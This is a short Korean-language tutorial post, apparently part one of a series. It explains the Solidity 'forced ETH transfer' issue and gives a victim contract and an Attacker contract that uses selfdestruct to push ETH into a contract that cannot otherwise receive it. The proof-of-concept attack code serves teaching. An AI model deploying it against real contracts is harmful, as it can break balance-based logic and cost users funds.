ETH 강제 전송 - 1

이 취약점은 다음과 같은 유명한 견고성 기능으로 인해 발생합니다.
selfdestruct(payable(addressThat)) , 이는 계약에 있는 모든 ETH를 addressThat의 다른 계약으로 보내는 데 사용됩니다. selfdestruct는 계약에서 모든 데이터를 지우고 블록체인의 공간을 확보하는 EVM 수준에서 작동합니다.

또한 모든 ETH를 다른 계약으로 보내는 것이 addressThat.send(this.balance)보다 훨씬 저렴합니다.

예를 들어 보겠습니다.

contract dontWant { // no payable function, hence can't recieve eth
    function something() external pure returns(uint) {
        return 1;
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}


공격자:

contract Attacker {
    receive() external payable { // we will send ether to this contract

    }

    function attack(address _dontWant) payable external { // this contract will forecfully send all ether to dontWant
        selfdestruct(payable(_dontWant));
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}

Attacker 컨트랙트에 ETH를 보내고 attack() 함수를 호출하면 dontWant가 ETH를 받습니다.

모든 계약은 selfdestruct를 사용하여 ETH를 다른 계약으로 보낼 수 있습니다(수신자 계약에 수신/폴백 기능이 없더라도).
하지만 애초에 이것이 왜 취약점일까요? 무료 ETH를 받는데 무엇이 잘못되었나요?
다음 게시물( )에서 답변을 얻을 수 있습니다.

좋은 웹페이지 즐겨찾기